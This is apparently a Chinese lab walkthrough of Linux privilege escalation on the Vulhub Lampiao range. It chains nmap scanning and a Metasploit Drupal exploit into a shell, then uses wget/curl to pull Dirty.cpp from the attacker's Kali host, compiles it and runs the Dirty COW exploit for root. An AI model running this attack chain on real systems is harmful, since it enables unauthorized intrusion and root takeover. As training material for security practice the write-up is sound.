Linux系统提权

Linux系统提权

主题:脏牛漏洞提权

环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)

目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

那它的原理又是怎样的?

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**

攻击步骤复现:

  1. 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:
  1. 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:

nmap -p- 192.168.78.142

  1. 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

  1. 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪:

run

运行后发现会话已经建立:

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:

python -c 'import pty; pty.spawn("/bin/bash")'

  1. 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。

到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

  1. 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

  1. 执行语句进行提权:

./dcow -s

成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

  1. 搭建靶场,信息收集ip和port;
  2. 尝试访问,进一步获得产品关键信息Drupal;
  3. 启动msfconsole,搜索关于Drupal漏洞利用信息;
  4. 设置参数,执行获得靶机shell;
  5. 查看内核版本,挑选脏牛版本,上传文件;
  6. 编译后执行,提权成功。

如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。

相关推荐
Digitally3 小时前
如何处理旧 iPhone:安全地回收或重新利用
安全·ios·iphone
瀚高PG实验室4 小时前
HGDB集群(安全版)repmgr手动切换主备库
java·数据库·安全·瀚高数据库
Mr_Meng_De13 小时前
AI环境下的网络安全人才的发展方向
安全·web安全
啥都不懂的小小白16 小时前
密码学入门:从古典加密到现代网络安全
安全·web安全·密码学
ml魔力信息18 小时前
活体检测与防伪技术的安全与隐私分析
大数据·人工智能·安全·隐私保护·生物识别·活体检测
hhhhhlt18 小时前
【代码大模型-后门安全】Backdoors in Neural Models of Source Code
人工智能·安全
乾博电子18 小时前
配电安全“隐形哨兵”上线!RCMX-ONE剩余电流监视器,守护每一度电的安心
安全·故障定位·在线绝缘监测仪·绝缘监测仪
智驱力人工智能18 小时前
工厂抽烟检测系统 智能化安全管控新方案 加油站吸烟检测技术 吸烟行为智能监测
人工智能·算法·安全·边缘计算·抽烟检测算法·工厂抽烟检测系统·吸烟监测
爱笑的眼睛1120 小时前
HarmonyOS SaveButton深度解析:安全便捷的媒体资源保存方案
安全·华为·harmonyos·媒体